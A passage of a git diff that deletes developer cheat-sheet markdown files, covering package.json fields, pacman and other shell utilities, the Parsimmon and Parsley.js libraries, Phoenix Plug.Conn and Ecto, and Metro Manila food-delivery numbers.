-"devDependencies": { ··· },
-"peerDependencies": { ··· },
-"optionalDependencies": { ··· },
-```
-
-See [Semver cheatsheet](./semver) for explanation of version ranges.
-
-### Scripts
-
-```json
-"scripts": {
-  "start": "node ./bin/xxx",       /* npm start */
-  "test": "vows --spec --isolate", /* npm test */
-  "postinstall": "...",
-  "prepublish": "grunt build",     /* after 'npm install' and before 'npm
-                                      publish' */
-}
-```
-
-### Misc
-
-```json
-"private": true,
-"preferGlobal": true
-```
-
-### Config
-
-```json
-{
-    "config": {
-        "foobar": "hello"
-    },
-    "scripts": {
-        "run": "echo $npm_package_config_foobar"
-    }
-}
-```
-
-Keys in `config` are exposed as env vars to scripts.
-
-## References
-
-{: .-one-column}
-
--   <http://package.json.nodejitsu.com/>
--   `npm help package.json`
-    {: .-also-see}
diff --git a/docs/content/cheat-sheets/package.json.md b/docs/content/cheat-sheets/package.json.md
deleted file mode 100644
index 65ea4357c6..0000000000
--- a/docs/content/cheat-sheets/package.json.md
+++ /dev/null
@@ -1,59 +0,0 @@
-{
-"name": "cheatsheets",
-"description": "Devhints.io",
-"version": "1.0.0",
-"author": "Rico Sta. Cruz <rstacruz@users.noreply.github.com>",
-"dependencies": {
-"autoprefixer": "^9.8.2",
-"dom101": "^2.2.1",
-"hint.css": "^2.6.0",
-"isotope-layout": "^3.0.6",
-"lodash.noop": "^3.0.1",
-"modularscale-sass": "^3.0.10",
-"onmount": "^1.3.0",
-"postcss-modules": "^2.0.0",
-"prismjs": "^1.20.0",
-"sanitize.css": "^11.0.1",
-"sass": "^1.26.8"
-},
-"devDependencies": {
-"@babel/core": "^7.10.2",
-"@babel/preset-env": "^7.10.2",
-"@rstacruz/prettier-plugin-markdown-code-fences": "^1.0.0",
-"jest": "26.0.1",
-"jest-html": "1.5.0",
-"netlify-plugin-minify-html": "^0.2.3",
-"npm-run-all": "^4.1.5",
-"parcel-bundler": "^1.12.4",
-"prettier": "^2.0.5",
-"wait-on": "^5.0.1"
-},
-"homepage": "https://devhints.io/",
-"jest": {
-"snapshotSerializers": [
-"<rootDir>/node_modules/jest-html"
-]
-},
-"license": "MIT",
-"main": "index.js",
-"private": true,
-"repository": "https://github.com/rstacruz/cheatsheets.git",
-"scripts": {
-"build": "run-s -s 'parcel:_:build' jekyll:build",
-"dev": "run-p -sl jekyll:watch 'parcel:_:watch'",
-"jekyll:build": "bundle exec jekyll build",
-"jekyll:watch": "wait-on assets/packed/app.js && wait-on \_includes/2017/critical/critical-sheet.css && bundle exec jekyll serve --safe --trace --drafts --watch --incremental --host ${HOST:-0.0.0.0} --port ${PORT:-3000}",
-"jest-html": "jest-html",
-"parcel:app:build": "parcel build '\_parcel/app.js' -d assets/packed --no-source-maps --no-autoinstall",
-"parcel:app:watch": "parcel watch '\_parcel/app.js' -d assets/packed --no-source-maps --no-autoinstall",
-"parcel:build": "run-s -s 'parcel:_:build'",
-"parcel:critical:build": "parcel build '\_parcel/critical_.js' -d \_includes/2017/critical --no-source-maps --no-autoinstall",
-"parcel:critical:watch": "parcel watch '\_parcel/critical*.js' -d \_includes/2017/critical --no-source-maps --no-autoinstall",
-"predev": "rm -rf assets/packed \_includes/2017/critical",
-"prejekyll:build": "bundle",
-"prejekyll:watch": "bundle",
-"prettier:format": "prettier --write '\_parcel/\*\*/*.{js,scss}'",
-"test": "jest",
-"test:smoke": "bash \_support/smoke_test.sh"
-}
-}
diff --git a/docs/content/cheat-sheets/pacman.md b/docs/content/cheat-sheets/pacman.md
deleted file mode 100644
index a899c88faa..0000000000
--- a/docs/content/cheat-sheets/pacman.md
+++ /dev/null
@@ -1,79 +0,0 @@
----
-tags: [packaging]
----
-
-# To search for a package:
-
-pacman -Ss <package>...
-
-# To update the local package base and upgrade all out-of-date packages:
-
-pacman -Suy
-
-# To install a package:
-
-pacman -S <package>...
-
-# To uninstall a package:
-
-pacman -R <package>...
-
-# To uninstall a package and its depedencies, removing all new orphans:
-
-pacman -Rcs <package>...
-
-# To get information about package:
-
-pacman -Si <package>...
-
-# To install a package from builded package file (.tar.xz):
-
-pacman -U <file>
-
-# To list the commands provided by an installed package:
-
-pacman -Ql <package>... | sed -n -e 's/.\*\/bin\///p' | tail -n +2
-
-# To list explicitly installed packages:
-
-pacman -Qe
-
-# To list the top-most recent explicitly installed packages (not in the base groups):
-
-expac --timefmt='%Y-%m-%d %T' '%l\t%n' $(comm -23 <(pacman -Qeq|sort) <(pacman -Qqg base base-devel|sort)) | sort -r | head -20
-
-# To list orphan packages (installed as dependencies and not required anymore):
-
-pacman -Qdt
-
-# To list installed packages sorted by size
-
-pacman -Qq | pacman -Qi - | egrep '(Size\s+:|Name\s+:[^s])' | sed -E 's/ ([KM])iB/\1/' | sed -z 's/\nInstalled/ /g' | perl -pe 's/(Name|Size) \*: //g' | column -t | sort -hk2 -r | cat -n | tac
-
-# You can't directly install packages from the Arch User Database (AUR) with pacman.
-
-# You need yaourt to perform that. But considering yaourt itself is in the AUR, here is how to build a package from its tarball.
-
-# Installing a package from AUR is a relatively simple process:
-
-# - Retrieve the archive corresponding to your package from AUR website
-
-# - Extract the archive (preferably in a folder for this purpose)
-
-# - Run makepkg in the extracted directory. (makepkg-s allows you to install any dependencies automatically from deposits.)
-
-# - Install the package created using pacman
-
-# Assuming $pkgname contains the package name.
-
-wget "https://aur.archlinux.org/packages/${pkgname::2}/$pkgname/$pkgname.tar.gz"
-tar zxvf "$pkgname.tar.gz"
-cd "$pkgname"
-
-# Build the package
-
-makepkg -s
-
-# Install
-
-sudo pacman -U <package file (.pkg.tar.xz)>
diff --git a/docs/content/cheat-sheets/parsimmon.md b/docs/content/cheat-sheets/parsimmon.md
deleted file mode 100644
index 430b5fc59d..0000000000
--- a/docs/content/cheat-sheets/parsimmon.md
+++ /dev/null
@@ -1,55 +0,0 @@
----
-title: Parsimmon
-category: JavaScript libraries
----
-
-```js
-const P = require('parsimmon');
-
-P.regexp(/[a-z]+/).parse('hello');
-//=> { status: true, value: ['hello'] }
-```
-
-## Atoms
-
-```js
-P.regexp(/[a-z]+/);
-P.string('hello');
-P.oneOf('abc'); // like P.regexp(/[abc]/)
-
-P.whitespace;
-P.optWhitespace;
-P.eof;
-```
-
-## Combinators
-
-```js
-P.seq(a, b, c); // sequence of these
-P.alt(a, b); // any of these
-P.sepBy(a, P.string(',')); // sequence of `a`, separated by ','
-P.sepBy1(a, P.string(',')); // same, at least once
-
-a.or(b); // like P.alt(a, b)
-a.skip(b); // parses `b` but discards it
-
-a.many();
-a.times(3);
-a.times(1, 4); // 1 <= x <= 4
-a.atMost(10);
-a.atLeast(10);
-```
-
-## Formatting
-
-```js
-P.seq(P.number, P.oneOf('+-*/'), P.number).map(([left, oper, right]) => ({
-    oper,
-    left,
-    right
-}));
-```
-
-## Reference
-
--   <https://github.com/jneen/parsimmon/blob/master/API.md>
diff --git a/docs/content/cheat-sheets/parsley.md b/docs/content/cheat-sheets/parsley.md
deleted file mode 100644
index 875c1150dd..0000000000
--- a/docs/content/cheat-sheets/parsley.md
+++ /dev/null
@@ -1,285 +0,0 @@
----
-title: Parsley.js
-weight: -1
-
-category: JavaScript libraries
-keywords:
-    - 'data-parsley-validate'
-    - "$('#form').parsley()"
-    - errorClass
-    - successClass
-    - classHandler
-    - errorsContainer
-    - errorsWrapper
-    - errorTemplate
-intro: |
-    [Parsley](http://parsleyjs.org/doc/) provides frontend form validation.
----
-
-## Parsley
-
-### Installing via NPM
-
-```
-npm install --save parsleyjs
-```
-
-[parsleyjs](https://www.npmjs.com/package/parsleyjs) is the Parsley form validator. ('parsley' is a different package)
-
-### Enabling
-
-#### via HTML
-
-```html
-<form data-parsley-validate>
-    <!-- ✗ not preferred -->
-</form>
-```
-
-#### via JavaScript
-
-```js
-$('#form').parsley(/* options */);
-```
-
-It's preferable to explicitly call `$.fn.parsley()`.
-
-### API
-
-#### Form
-
-```js
-$('#myform')
-    .parsley()
-    .isValid() // → true | null
-    .validate()
-    .reset()
-    .destroy();
-```
-
-#### Input
-
-```js
-$('#myform input').parsley().isValid().validate(); // returns errors
-```
-
-### Validators
-
-```html
-<input ... />
-```
-
-#### Required
-
-```html
-required
-```
-
-#### Types
-
-```html
-type='email'
-```
-
-```html
-type='url' data-parsley-type='url'
-```
-
-#### Length
-
-```html
-maxlength='6' data-parsley-maxlength='6' minlength='10' data-parsley-minlength='10'
-```
-
-#### Numeric
-
-```html
-pattern='\d+' data-parsley-pattern='\d+'
-```
-
-```html
-type='number' data-parsley-type='number' data-parsley-type='integer' data-parsley-type='digits' data-parsley-type='alphanum'
-```
-
-#### Range
-
-```html
-type='range' data-parsley=range='[6, 10]'
-```
-
-```html
-max='10' data-parsley-max='10' min='6' data-parsley-min='6'
-```
-
-#### Checkboxes
-
-```html
-data-parsley-mincheck='1' data-parsley-maxcheck='3' data-parsley-check='[1, 3]'
-```
-
-#### Confirmation
-
-```html
-data-parsley-equalto='#confirm'
-```
-
-## Options
-
-### Form options
-
-```js
-// Supported & excluded inputs by default
-inputs: 'input, textarea, select';
-excluded: 'input[type=button], input[type=submit], input[type=reset], input[type=hidden]';
-```
-
-```js
-// Stop validating field on highest priority failing constraint
-priorityEnabled: true;
-```
-
-See: [Options](http://parsleyjs.org/doc/annotated-source/defaults.html)
-
-### Field options
-
-```js
-// identifier used to group together inputs
-// (e.g. radio buttons…)
-multiple: null;
-```
-
-```js
-// identifier (or array of identifiers) used to
-// validate only a select group of inputs
-group: null;
-```
-
-These options are only available for fields.
-
-### UI Options
-
-```js
-// Enable/disable error messages
-uiEnabled: true;
-```
-
-```js
-// Key events threshold before validation
-validationThreshold: 3;
-```
-
-```js
-// Focused field on form validation error. ‘first'|'last'|'none'
-focus: 'first';
-```
-
-```js
-// $.Event() that will trigger validation. eg: keyup, change…
-trigger: false;
-```
-
-```js
-// Class that would be added on every failing validation
-// Parsley field
-errorClass: 'parsley-error';
-successClass: 'parsley-success';
-```
-
-```js
-// Return the $element that will receive these above
-// success or error classes. Could also be (and given
-// directly from DOM) a valid selector like '#div'
-  classHandler: function (ParsleyField) {}
-```
-
-```js
-// Return the $element where errors will be appended.
-// Could also be (and given directly from DOM) a valid
-// selector like '#div'
-  errorsContainer: function (ParsleyField) {}
-```
-
-```js
-// ul elem that would receive errors' list
-errorsWrapper: '<ul class="parsley-errors-list"></ul>';
-```
-
-```js
-// li elem that would receive error message
-errorTemplate: '<li></li>';
-```
-
-## Examples
-
-### Custom container
-
-```js
-$('[data-parsley]').parsley({
-    errorsContainer(field) {
-        return field.$element.closest('.block, .control');
-    }
-});
-```
-
-Appends the error to the closest `.block` or `.control`.
-
-### Custom markup
-
-```js
-$('[data-parsley]').parsley({
-    errorClass: '-error',
-    successClass: '-success',
-
-    errorsWrapper: '<ul class="parsley-error-list"></ul>',
-    errorTemplate: '<li class="parsley-error"></li>'
-});
-```
-
-Uses custom markup.
-
-### Custom fields
-
-```js
-$('[data-parsley]').parsley({
-    classHandler(field) {
-        const $parent = field.$element.closest('.input-group');
-        if ($parent.length) return $parent;
-
-        return field.$element;
-    }
-});
-```
-
-Applies the `errorClass` and `successClass` to the closest `.input-group`, if available.
-
-### Custom validator
-
-#### HTML
-
-```html
-<input type="text" data-parsley-multiple-of="3" />
-```
-
-#### JavaScript
-
-```js
-window.Parsley.addValidator('multipleOf', {
-    // string | number | integer | date | regexp | boolean
-    requirementType: 'integer',
-
-    // validateString | validateDate | validateMultiple
-    validateNumber(value, requirement) {
-        return 0 === value % requirement;
-    },
-
-    messages: {
-        en: 'This value should be a multiple of %s'
-    }
-});
-```
-
-See: [Custom validators](http://parsleyjs.org/doc/index.html#custom)
-
-## Also see
-
--   [Parsley documentation](http://parsleyjs.org/doc/) _(parsleyjs.org)_
diff --git a/docs/content/cheat-sheets/paste.md b/docs/content/cheat-sheets/paste.md
deleted file mode 100644
index 8d5a06ac14..0000000000
--- a/docs/content/cheat-sheets/paste.md
+++ /dev/null
@@ -1,19 +0,0 @@
-# To concat columns from files:
-
-paste <file>...
-
-# To list the files in the current directory in three columns:
-
-ls | paste - - -
-
-# To combine pairs of lines from a file into single lines:
-
-paste -s -d '\t\n' <file>
-
-# To number the lines in a file, similar to nl(1):
-
-sed = <file> | paste -s -d '\t\n' - -
-
-# To create a colon-separated list of directories named bin, suitable for use in the PATH environment variable:
-
-find / -name bin -type d | paste -s -d : -
diff --git a/docs/content/cheat-sheets/patch.md b/docs/content/cheat-sheets/patch.md
deleted file mode 100644
index d63d40027a..0000000000
--- a/docs/content/cheat-sheets/patch.md
+++ /dev/null
@@ -1,18 +0,0 @@
-# To patch one file:
-
-patch <file> < <patch-file>
-
-# To reverse a patch:
-
-patch -R <file> < <patch-file>
-
-# To patch all files in a directory, adding any missing new files:
-
-# -p strips leading slashes
-
-$ cd dir
-$ patch -p1 -i <dir> <patch-file>
-
-# To patch files in a directory, with one level (/) offset:
-
-patch -p1 -r <dir> < <patch-file>
diff --git a/docs/content/cheat-sheets/pdftk.md b/docs/content/cheat-sheets/pdftk.md
deleted file mode 100644
index aab4c3d4b8..0000000000
--- a/docs/content/cheat-sheets/pdftk.md
+++ /dev/null
@@ -1,11 +0,0 @@
-# To concatenate all pdf files into one:
-
-pdftk \*.pdf cat output all.pdf
-
-# To concatenate specific pdf files into one:
-
-pdftk 1.pdf 2.pdf 3.pdf cat output 123.pdf
-
-# To concatenate pages 1 to 5 of first.pdf with page 3 of second.pdf:
-
-pdftk A=fist.pdf B=second.pdf cat A1-5 B3 output new.pdf
diff --git a/docs/content/cheat-sheets/perl.md b/docs/content/cheat-sheets/perl.md
deleted file mode 100644
index 1518fb5805..0000000000
--- a/docs/content/cheat-sheets/perl.md
+++ /dev/null
@@ -1,11 +0,0 @@
-# To view the perl version:
-
-perl -v
-
-# Replace string "\n" to newline:
-
-echo -e "foo\nbar\nbaz" | perl -pe 's/\n/\\n/g;'
-
-# Replace newline with multiple line to space:
-
-cat test.txt | perl -0pe "s/test1\ntest2/test1 test2/m"
diff --git a/docs/content/cheat-sheets/pgrep.md b/docs/content/cheat-sheets/pgrep.md
deleted file mode 100644
index c267c366dc..0000000000
--- a/docs/content/cheat-sheets/pgrep.md
+++ /dev/null
@@ -1,7 +0,0 @@
-# To get a list of PIDs matching <pattern>:
-
-pgrep <pattern>
-
-# To kill all PIDs matching <pattern>:
-
-pgrep -f <pattern> | xargs kill
diff --git a/docs/content/cheat-sheets/ph-food-delivery.md b/docs/content/cheat-sheets/ph-food-delivery.md
deleted file mode 100644
index fea51391f8..0000000000
--- a/docs/content/cheat-sheets/ph-food-delivery.md
+++ /dev/null
@@ -1,74 +0,0 @@
----
-title: Food delivery (Philippines)
-
-intro: |
-    Food delivery numbers & sites for top restaurant chains in Metro Manila. For numbers outside Metro Manila, check their websites.
----
-
-## Numbers
-
-{: .-two-column}
-
-### Western
-
-| Restaurant    | Online order                                                        | Phone                                                                                                       |
-| ------------- | ------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------- |
-| Army Navy     | [armynavy.com.ph](http://www.armynavy.com.ph/)                      | `331-3131`                                                                                                  |
-| Burger King   | [burgerkingdelivery.com.ph](https://www.burgerkingdelivery.com.ph/) | <abbr class='hint-mark hint--bottom' data-hint='Yes, you need to dial the # sign'><i></i></abbr> `#2-22-22` |
-| KFC           | [kfc.com.ph](https://www.kfc.com.ph)                                | `887-8888`                                                                                                  |
-| Kenny Rogers  | [kennys.com.ph](http://kennys.com.ph/)                              | `555-9000`                                                                                                  |
-| McDonald's    | [mcdonalds.com.ph](http://www.mcdonalds.com.ph/mcdelivery)          | `8-6236`                                                                                                    |
-| Pancake House | [pancakehouse.com.ph](https://www.pancakehouse.com.ph/)             | `7-9000`                                                                                                    |
-| Wendy's       | [wendys.com.ph](https://wendys.com.ph/delivery/)                    | `533-3333`                                                                                                  |
-
-{: .-bold-first.-headers.-no-wrap}
-
-### Pizza
-
-| Restaurant    | Online order                                              | Phone      |
-| ------------- | --------------------------------------------------------- | ---------- |
-| Angel's Pizza | [angelspizza.com.ph](http://angelspizza.com.ph/)          | `922-2222` |
-| Domino's      | [dominospizza.ph](https://www.dominospizza.ph/)           | `997-3030` |
-| Greenwich     | [greenwichdelivery.com](http://greenwichdelivery.com/)    | `5-5555`   |
-| Papa John's   | [papajohns.com.ph](http://papajohns.com.ph/)              | `887-7272` |
-| Pizza Hut     | [pizzahut.com.ph](https://order.pizzahut.com.ph)          | `911-1111` |
-| Shakey's      | [shakeyspizza.ph](http://order.shakeyspizza.ph/)          | `77-7777`  |
-| Yellow Cab    | [yellowcabpizza.com](http://delivery.yellowcabpizza.com/) | `789-9999` |
-
-{: .-bold-first.-headers.-no-wrap}
-
-### Asian
-
-| Restaurant | Online order                                                     | Phone      |
-| ---------- | ---------------------------------------------------------------- | ---------- |
-| Bonchon    | [bonchon.com.ph](http://bonchon.com.ph/food/main-menu/) _(menu)_ | `633-1818` |
-| Chowking   | [chowkingdelivery.com](http://www.chowkingdelivery.com)          | `9-8888`   |
-| North Park | [northparkdelivery.com](http://northparkdelivery.com/)           | `7-3737`   |
-| Yoshinoya  | [yoshinoya.ph](http://www.yoshinoya.ph/ordeonline.html/)         | `288-2888` |
-
-{: .-bold-first.-headers.-no-wrap}
-
-### Filipino
-
-| Restaurant  | Online order                                                       | Phone       |
-| ----------- | ------------------------------------------------------------------ | ----------- |
-| Amber's     | [amber.com.ph](http://onlineordering.amber.com.ph/)                | `884-8888`  |
-| Goldilock's | [goldilocksdelivery.com.ph](http://www.goldilocksdelivery.com.ph/) | `888-1-999` |
-| Jollibee    | [jollibeedelivery.com](http://jollibeedelivery.com)                | `#8-7000`   |
-| Mang Inasal | [manginasal.com](http://www.manginasal.com/menu/) _(menu)_         | `733-1111`  |
-| Max's       | [maxschicken.com](http://delivery.maxschicken.com/)                | `7-9000`    |
-
-{: .-bold-first.-headers.-no-wrap}
-
-### Dessert
-
-| Restaurant   | Online order                                                 | Phone    |
-| ------------ | ------------------------------------------------------------ | -------- |
-| Krispy Kreme | [now.krispykreme.com.ph](http://now.krispykreme.com.ph/)     | `7-9000` |
-| Red Ribbon   | [redribbononlinestore.com](http://redribbononlinestore.com/) | `8-7777` |
-
-{: .-bold-first.-headers.-no-wrap}
-
-## -
-
-Hint: you can get to this page via [devhints.io/gutom](https://devhints.io/gutom) 🍅🍟
diff --git a/docs/content/cheat-sheets/phoenix-conn.md b/docs/content/cheat-sheets/phoenix-conn.md
deleted file mode 100644
index 6748d1b7bc..0000000000
--- a/docs/content/cheat-sheets/phoenix-conn.md
+++ /dev/null
@@ -1,163 +0,0 @@
----
-title: 'Phoenix: Plug.Conn'
-category: Elixir
-
-weight: -5
----
-
-## Request
-
-### Request
-
-```elixir
-conn.host          # → "example.com"
-conn.method        # → "GET"
-conn.path_info     # → ["posts", "1"]
-conn.request_path  # → "/posts/1"
-conn.query_string  # → "utm_source=twitter"
-conn.port          # → 80
-conn.scheme        # → :http
-conn.peer          # → { {127, 0, 0, 1}, 12345 }
-conn.remote_ip     # → { 151, 236, 219, 228 }
-conn.req_headers   # → [{"content-type", "text/plain"}]
-```
-
-```elixir
-conn |> get_req_header("content-type")
-# → ["text/plain"]
-```
-
-### Updating conn
-
-```elixir
-conn
-|> put_req_header("accept", "application/json")
-```
-
-Usually only useful for tests.
-
-## Response
-
-### Response
-
-```elixir
-conn.resp_body     # → "..."
-conn.resp_charset  # → "utf-8"
-conn.resp_cookies  # → ...
-conn.resp_headers  # → ...
-conn.status        # → ...
-```
-
-### Sending responses
-
-```elixir
-# Plug.Conn
-conn
-|> html("<html><head>...")
-|> json(%{ message: "Hello" })
-|> text("Hello")
-```
-
-```elixir
-|> redirect(to: "/foo")
-|> redirect(external: "http://www.google.com/")
-|> halt()
-```
-
-```elixir
-|> put_resp_content_type("text/plain")
-|> put_resp_cookie("abc", "def")
-|> put_resp_header("X-Delivered-By", "myapp")
-|> put_status(202)
-|> put_status(:not_found)
-```
-
-```elixir
-|> put_private(:plug_foo, "...")  # reserved for libraries
-```
-
-```elixir
-|> send_resp(201, "")
-```
-
-### Phoenix views
-
-```elixir
-# Phoenix.Controller
-conn
-|> render("index.html")
-|> render("index.html", hello: "world")
-|> render(MyApp.ErrorView, "404.html")
-```
-
-```elixir
-|> put_layout(:foo)
-|> put_layout(false)
-|> put_view(ErrorView)
-```
-
-```elixir
-|> put_secure_browser_headers()
-# prevent clickjacking, nosniff, and xss protection
-# x-frame-options, x-content-type-options, x-xss-protection
-```
-
-```elixir
-|> put_new_view(ErrorView)  # if not set yet
-|> put_new_layout(:foo)
-```
-
-```elixir
-layout(conn)
-```
-
-## Other features
-
-### Other fields
-
-```elixir
-conn.assigns          # storage of crap
-conn.owner            # process
-conn.halted           # if pipeline was halted
-conn.secret_key_base  # ...
-conn.state            # :unset, :set, :file, :sent, :chunked
-```
-
-### Accepts
-
-```js
-plug :accepts, ["html", "json"]
-conn |> accepts(["html", "json"])
-get_format(conn)  # → "html"
-conn.accepts
-```
-
-### Assigns
-
-```elixir
-conn.assigns[:hello]
-conn |> assign(:user_id, 100)
-```
-
-```elixir
-conn = async_assign(conn, :location, fn -> geoip_lookup() end)
-await_assign(conn, :location)
-```
-
-### Session
-
-```elixir
-conn = fetch_session(conn)   # or plug :fetch_session
-
-conn = put_session(conn, :message, "new stuff we just set in the session")
-get_session(conn, :message)
-conn = clear_session(conn)
-```
-
-```elixir
-conn
-|> put_flash(:info, "Success")
-|> put_flash(:error, "Oh no")
-```
-
-Also available: `flash` `cookie` `params`
diff --git a/docs/content/cheat-sheets/phoenix-ecto.md b/docs/content/cheat-sheets/phoenix-ecto.md
deleted file mode 100644
index 88053377ec..0000000000
--- a/docs/content/cheat-sheets/phoenix-ecto.md
+++ /dev/null
@@ -1,210 +0,0 @@
----
-title: 'Phoenix: Ecto'
-category: Elixir
-
-tags: [WIP]
----
-
-## Schemas
-
-### Generating
-
-```bash
-$ mix phx.gen.html \
-    Accounts \       # domain
-    Profile \        # schema
-    profiles \       # table name
-    email:string \
-    age:integer
-```
-
-### Schema
-
-```elixir
-defmodule Myapp.Accounts.User do
-  use Ecto.Schema
-
-  schema "users" do
-    field :name
-    field :age, :integer
-    field :password, virtual: true
-
-    timestamps()
-  end
-end
-```
-
-### Field types
-
-| Field                  |
-| ---------------------- |
-| `:id`                  |
-| `:binary`              |
-| `:boolean`             |
-| `:string`              |
-| ---                    |
-| `:integer`             |
-| `:float`               |
-| `:decimal`             |
-| ---                    |
-| `{:array, inner_type}` |
-| `:map`                 |
-
-{: .-left-align}
-
-## Changesets
-
-### Changesets
-
-```elixir
-def changeset(user, params \\ :empty) do
-  %User{}
-  |> Ecto.Changeset.change   # basic casting to changeset
-
-  user
-  |> cast(params, ~w(name email), ~w(age)) # params to Changeset
-
-  |> validate_format(:email, ~r/@/)
-
-  |> validate_inclusion(:age, 18..100)
-  |> validate_exclusion(:role, ~w(admin superadmin))
-  |> validate_subset(:pets, ~w(cat dog parrot whale))
-
-  |> validate_length(:body, min: 1)
-  |> validate_length(:body, min: 1, max: 160)
-  |> validate_length(:partners, is: 2)
-
-  |> validate_number(:pi, greater_than: 3)
-  |> validate_number(:pi, less_than: 4)
-  |> validate_number(:pi, equal_to: 42)
-
-  |> validate_change(:title, fn _, _ -> [])
-  |> validate_confirmation(:password, message: "does not match")
-
-  |> unique_constraint(:email)
-  |> foreign_key_constraint(:post_id)
-  |> assoc_constraint(:post)      # ensure post_id exists
-  |> no_assoc_constraint(:post)   # negative (useful for deletions)
-end
-```
-
-### Changeset fields
-
-```elixir
-changeset.valid?
-changeset.errors     #=> [title: "empty"]
-
-changeset.changes    #=> %{}
-changeset.params[:title]
-
-changeset.required   #=> [:title]
-changeset.optional   #=> [:body]
-```
-
-### Updating
-
-```elixir
-changeset #(or model)
-|> change(title: "New title")
-|> change(%{ title: "New title" })
-|> put_change(:title, "New title")
-|> force_change(:title, "New title")
-|> update_change(:title, &(&1 <> "..."))
-
-|> delete_change(:title)
-|> merge(other_changeset)
-
-|> add_error(:title, "empty")
-```
-
-### Getting
-
-```elixir
-get_change(changeset, :title)    #=> "hi" (if changed)
-get_field(changeset, :title)     #=> "hi" (even if unchanged)
-
-fetch_change(changeset, :title)  #=> {:ok, "hi"} | :error
-fetch_field(changeset, :title)   #=> {:changes | :model, "value"} | :error
-```
-
-## Repo
-
-### Get one
-
-```elixir
-Repo.get(User, id)
-Repo.get_by(User, email: "john@hello.com")  #=> %User{} | nil
-
-# also get! get_by!
-```
-
-### Create/update
-
-```elixir
-changeset |> Repo.update
-changeset |> Repo.insert
-changeset |> Repo.insert_or_update
-```
-
-```
-User
-|> Ecto.Changeset.change(%{name: "hi"})
-|> Repo.insert
-```
-
-## Many
-
-### Queries
-
-```elixir
-from p in Post,
-  where: p.title == "Hello",
-  where: [state: "Sweden"],
-
-  limit: 1,
-  offset: 10,
-
-  order_by: c.name,
-  order_by: [c.name, c.title],
-  order_by: [asc: c.name, desc: c.title],
-
-  preload: [:comments],
-  preload: [comments: {c, likes: l}],
-
-  join: c in assoc(c, :comments),
-  join: p in Post, on: c.post_id == p.id,
-  group_by: p,
-
-  select: p,
-  select: {p.title, p.description},
-  select: [p.title, p.description],
-```
-
-### Get many
-
-```elixir
-Repo.all(User)
-```
-
-### Update many
-
-```elixir
-Repo.update_all(Post, set: [title: "Title"])
-Repo.update_all(Post, inc: [views: 1])
-```
-
-### Chaining `_all` with queries
-
-```elixir
-from(p in Post, where: p.id < 10)
-|> Repo.update_all(...)
-
-from(p in Post, where: p.id < 10)
-|> Repo.all()
-```
-
-## References
-
-{: .-one-column}
-
--   Based on Ecto 1.3.
diff --git a/docs/content/cheat-sheets/phoenix-ecto@1.2.md b/docs/content/cheat-sheets/phoenix-ecto@1.2.md
deleted file mode 100644
index 49bcbe43ac..0000000000
--- a/docs/content/cheat-sheets/phoenix-ecto@1.2.md
+++ /dev/null
@@ -1,178 +0,0 @@
----
-title: 'Phoenix: Ecto models'
-category: Elixir
-deprecated: true
----
-
-This is for Phoenix 1.2 and below. [Phoenix 1.3 has a new API.](phoenix-ecto@1.3.html).
-
-## Generating
-
-```
-$ mix phoenix.gen.html Profile profiles email:string age:integer
-$ mix phoenix.gen.html User users email:string hashed_password:string
-```
-
-## Schema
-
-```elixir
-defmodule User do
-  use Ecto.Schema
-
-  schema "users" do
-    field :name
-    field :age, :integer
-    # :id :binary :integer :float :boolean :string :binary
-    # {:array, inner_type} :decimal :map
-
-    field :password, virtual: true
-  end
-end
-```
-
-## Changesets
-
-```elixir
-def changeset(user, params \\ :empty) do
-  %User{}
-  |> Ecto.Changeset.change   # basic casting to changeset
-
-  user
-  |> cast(params, ~w(name email), ~w(age)) # params to Changeset
-
-  |> validate_format(:email, ~r/@/)
-
-  |> validate_inclusion(:age, 18..100)
-  |> validate_exclusion(:role, ~w(admin superadmin))
-  |> validate_subset(:pets, ~w(cat dog parrot whale))
-
-  |> validate_length(:body, min: 1)
-  |> validate_length(:body, min: 1, max: 160)
-  |> validate_length(:partners, is: 2)
-
-  |> validate_number(:pi, greater_than: 3)
-  |> validate_number(:pi, less_than: 4)
-  |> validate_number(:pi, equal_to: 42)
-
-  |> validate_change(:title, fn _, _ -> [])
-  |> validate_confirmation(:password, message: "does not match")
-
-  |> unique_constraint(:email)
-  |> foreign_key_constraint(:post_id)
-  |> assoc_constraint(:post)      # ensure post_id exists
-  |> no_assoc_constraint(:post)   # negative (useful for deletions)
-end
-```
-
-```elixir
-changeset.valid?
-changeset.errors     #=> [title: "empty"]
-
-changeset.changes    #=> %{}
-changeset.params[:title]
-
-changeset.required   #=> [:title]
-changeset.optional   #=> [:body]
-```
-
-### Updating
-
-```elixir
-changeset #(or model)
-|> change(title: "New title")
-|> change(%{ title: "New title" })
-|> put_change(:title, "New title")
-|> force_change(:title, "New title")
-|> update_change(:title, &(&1 <> "..."))
-
-|> delete_change(:title)
-|> merge(other_changeset)
-
-|> add_error(:title, "empty")
-```
-
-### Getting
-
-```elixir
-get_change(changeset, :title)    #=> "hi" (if changed)
-get_field(changeset, :title)     #=> "hi" (even if unchanged)
-
-fetch_change(changeset, :title)  #=> {:ok, "hi"} | :error
-fetch_field(changeset, :title)   #=> {:changes | :model, "value"} | :error
-```
-
-## Ecto
-
-### Get one
-
-```elixir
-Repo.get(User, id)
-Repo.get_by(User, email: "john@hello.com")  #=> %User{} | nil
-
-# also get! get_by!
-```
-
-### Create/update
-
-```elixir
-changeset |> Repo.update
-changeset |> Repo.insert
-changeset |> Repo.insert_or_update
-```
-
-```
-User
-|> Ecto.Changeset.change(%{name: "hi"})
-|> Repo.insert
-```
-
-## Many
-
-### Queries
-
-```elixir
-from p in Post,
-  where: p.title == "Hello",
-  where: [state: "Sweden"],
-
-  limit: 1,
-  offset: 10,
-
-  order_by: c.name,
-  order_by: [c.name, c.title],
-  order_by: [asc: c.name, desc: c.title],
-
-  preload: [:comments],
-  preload: [comments: {c, likes: l}],
-
-  join: c in assoc(c, :comments),
-  join: p in Post, on: c.post_id == p.id,
-  group_by: p,
-
-  select: p,
-  select: {p.title, p.description},
-  select: [p.title, p.description],
-```
-
-### Get many
-
-```elixir
-Repo.all(User)
-```
-
-### Update many
-
-```elixir
-Repo.update_all(Post, set: [title: "Title"])
-Repo.update_all(Post, inc: [views: 1])
-```
-
-### Chaining `_all` with queries
-
-```elixir
-from(p in Post, where: p.id < 10)
-|> Repo.update_all(...)
-
-from(p in Post, where: p.id < 10)
-|> Repo.all()
-```
diff --git a/docs/content/cheat-sheets/phoenix-migrations.md b/docs/content/cheat-sheets/phoenix-migrations.md
deleted file mode 100644
index 92a4507ebc..0000000000
--- a/docs/content/cheat-sheets/phoenix-migrations.md
+++ /dev/null
@@ -1,105 +0,0 @@
----
